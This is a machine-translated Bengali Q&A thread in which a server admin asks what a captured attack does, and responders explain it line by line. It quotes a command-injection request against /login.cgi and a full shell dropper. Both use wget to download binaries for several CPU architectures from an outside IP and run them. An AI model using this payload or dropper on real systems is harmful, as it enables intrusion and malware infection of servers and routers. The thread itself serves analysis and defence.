এই বাশ স্ক্রিপ্টটি কী করে? [হ্যাক প্রয়াস]


31

আমি আমার সার্ভারগুলি অ্যাপাচি লগগুলিতে লক্ষ্য করছি, ইদানীং নিম্নোক্ত অদ্ভুত লাইনগুলি:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

সুতরাং আমি একটি কাস্টম Fail2Ban ফিল্টার তৈরি করেছিলাম এবং এই / লগিন.সি.জি. URL গুলির জন্য অনুরোধ করা আইপিগুলিকে নিষিদ্ধ করা শুরু করি।

তবে তারা কী করার চেষ্টা করছে তা সম্পর্কে আমি আগ্রহী ছিলাম, তাই তারা যে স্ক্রিপ্টটি কার্যকর করার চেষ্টা করছে তা আমি টানলাম এবং এটি ঠিক কী করে তা আমি অনুভব করতে পারি না। / Var এবং / tmp তে খিলান ফোল্ডারগুলি সরানোর বিষয়ে কিছু?

যাইহোক, এটি এখানে:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
Script স্ক্রিপ্টটি আপনার সার্ভারে প্রথম স্থানে কীভাবে পেল?
মিস্টারউইট

3
আমি কেবলমাত্র আমার বাড়ির পিসিতে একটি ব্রাউজারে .sh ফাইলটি খুলি এবং এখানে অনুলিপি করে আটকান, এটি আসলে আমার সার্ভারে কখনও আসে নি।
ndom91

1
এই স্ক্রিপ্টটি একটি 'ড্রপার', যা প্রকৃত শোষণ স্ক্রিপ্ট ডাউনলোড করতে ব্যবহৃত হয়। এটি সিপিইউ আর্কিটেকচারের প্রতিটি hxxp://80.211.173.159:80/$nameযেখানে $nameরয়েছে সেখানে অবস্থিত হবে bin_names। সুতরাং 7 আক্রমণ স্ক্রিপ্টগুলি ডাউনলোড এবং সম্পাদন করা হবে
ব্লু ক্যাক্টি

উত্তর:


42

লাইনে লাইন:

#!/bin/sh

স্থাপন shশেল, কুঁড়েঘর লাইন হিসেবে যে যেটা। sh%20/tmp/ksঅনুরোধে এটিকে ওভাররাইড করে, তাই এই লাইনটিকে একটি সাধারণ মন্তব্য হিসাবে বিবেচনা করা হবে এবং উপেক্ষা করা হবে।

u="asgknskjdgn"

অন্যান্য ফাইলের নামের সাথে সংঘর্ষ এড়াতে সম্ভবত একটি সালিশী নাম ঘোষণা করে la আমি নিশ্চিত না কেন তারা কেবল ব্যবহার করবে না mktemp, তবে সম্ভবত এটি সমস্ত প্ল্যাটফর্মগুলিতে উপলভ্য নয়।

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

বেশ কয়েকটি সাধারণ সিপিইউ আর্কিটেকচার গণনা করে।

http_server="80.211.173.159"
http_port=80

সার্ভারটি যা শোষণ করে।

cd /tmp/||cd /var/

ডিরেক্টরিটি কোথাও কোথাও পরিবর্তন করার চেষ্টা করছে আপনার ওয়েব সার্ভারটি ফাইল তৈরি করতে সক্ষম হতে পারে। আমি বিশ্বাস করি যে ফাইল সিস্টেম নিজে থেকে কী করতে পারে তার চেয়ে ওয়েব সার্ভার কী করতে পারে সে সম্পর্কে অনেক কঠোর নিয়ম প্রয়োগ করে সেলইনাক্স এটিতে সহায়তা করবে।

for name in $bin_names
    do

প্রতিটি সিপিইউ আর্কিটেকচারের জন্য ...

    rm -rf $u

পূর্বে চেষ্টা করা শোষণ প্রোগ্রামগুলি সরিয়ে দেয়। পরের লাইনের কারণে অপ্রয়োজনীয়, তাই এড়ানো যায়।

    cp $SHELL $u

বর্তমান শেল এক্সিকিউটেবল ( /bin/sh) অনুলিপি করে । পরের লাইনের কারণে এড়ানো যায়।

    chmod 777 $u

প্রত্যেককে নতুন ফাইলটিতে সম্পূর্ণ অ্যাক্সেস তৈরি করে। এটি wgetকমান্ডের পরে হওয়া উচিত ছিল যা শেল স্ক্রিপ্টিং নবাগত বা একটি ভুল দিকনির্দেশ কৌশল হিসাবে একটি চিহ্ন।

    >$u

ফাইলটি খালি করে দেয়। পরের লাইনের কারণে অর্থহীন।

    wget http://$http_server:$http_port/$name -O -> $u

এই আর্কিটেকচারের জন্য শোষণ স্ক্রিপ্টের সাহায্যে ফাইলটি ওভাররাইট করে। -O -> $uলিখিত হতে পারে -O - > $u(হাইফেন নির্দেশ করে যে ডাউনলোডটি স্ট্যান্ডার্ড আউটপুটটিতে লেখা উচিত) যা সমান -O $u

    ./$u $name

প্রথম যুক্তি হিসাবে আর্কিটেকচারের সাথে শোষণ স্ক্রিপ্ট চালায় s

done

লুপ শেষ হয়।

দেখে মনে হচ্ছে এটি একটি তুচ্ছ শোষণ প্রয়াসের স্ক্রিপ্ট, বিভিন্ন সিপিইউ প্ল্যাটফর্মের বিরুদ্ধে পরিচিত শোষণ চেষ্টা করে। আমি জানি না কেন এটি $uতিনবার ওভাররাইট হয় , তবে এই ক্রিয়াকলাপগুলি কেবল স্ক্রিপ্টের পূর্ববর্তী পুনরাবৃত্তি থেকে রইল। সম্ভবতঃ পূর্ববর্তী সংস্করণটিতে গতিশীলভাবে পরিবেশিত হওয়ার পরিবর্তে শক্ত কোডিং ছিল - পূর্ববর্তীটি সহজ তবে প্রায় গ্যারান্টি দেয় যে বাগগুলি প্যাচ করার সাথে সাথে সময়ের সাথে স্ক্রিপ্টটি কম কার্যকর হবে।


21
স্পষ্টভাবে ফাইলটি rm'ing করার একটি সুবিধা রয়েছে। গন্তব্যটি ইতিমধ্যে উপস্থিত থাকলে এবং এখনই সম্পাদন করা হচ্ছে, কার্নেল আপনাকে লেখার জন্য ফাইলটি খুলতে দেবে না (-ETXTBSY)। তবে, চলমান প্রোগ্রামটির নাম পরিবর্তন বা মুছার অনুমতি রয়েছে।
মাধ্যাকর্ষণ

কী ->মধ্যে wgetকমান্ড কি? শুধু কেন নয় wget ... -O $u?
রন জন

1
@ রন জন এটিকে পড়েন- >
বিড়াল

5
সাথে -O->filename, পিএস কুড়ালfilename আউটপুট প্রদর্শিত হবে না । ডিবাগিংকে আরও শক্ত করে তোলা একটি সুবিধা হতে পারে।
pts

1
cpআপনি একটি এক্সিকিউটেবল ফাইল দেয়। chmodব্যর্থ হলে সম্ভবত দরকারী ? সম্পাদনা: প্রদত্ত যে রাউটারগুলি দৃশ্যত লক্ষ্য করে, এটি সম্ভব যে এর chmodঅস্তিত্ব নেই।
বব

12

এটি wgetহ'ল কী বিপজ্জনক লাইন।

দ্য for name in $bin_namesপ্ল্যাটফর্মের তালিকা মাধ্যমে কাজ করছে এবং প্রতিটি প্ল্যাটফর্মের জন্য এটি একটি অস্থায়ী ডাইরেক্টরি ক্লিয়ারিং হয়, উপর একটি শেল অনুলিপি এবং তারপর সবাই প্রবেশযোগ্য করে।

এরপরে wgetএটি ব্যবহার করে একটি ফাইল ডাউনলোড করে এবং তারপরে এটি অনুলিপি করা শেল প্রোগ্রাম ব্যবহার করে এটি চালায়।

স্ক্রিপ্টটি মূলত প্রতিটি প্ল্যাটফর্মের জন্য এটি কার্যকর করতে সক্ষম বা স্ক্রিপ্টগুলির একটি সিরিজ ডাউনলোড করার চেষ্টা করছে এবং আপনার সিস্টেমের বিরুদ্ধে এটি ঘষে এই আশায় যে এটি আপনার সিস্টেমে আরও আপস করতে পারে।


6
ঘষা == চলছে?
বর্মার

5
@ বার্মার আমি নিশ্চিত যে এটি ইচ্ছাকৃত ছিল: পি
কানাডিয়ান লুক পুনঃস্ট্রিপ্ট মনিকা
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.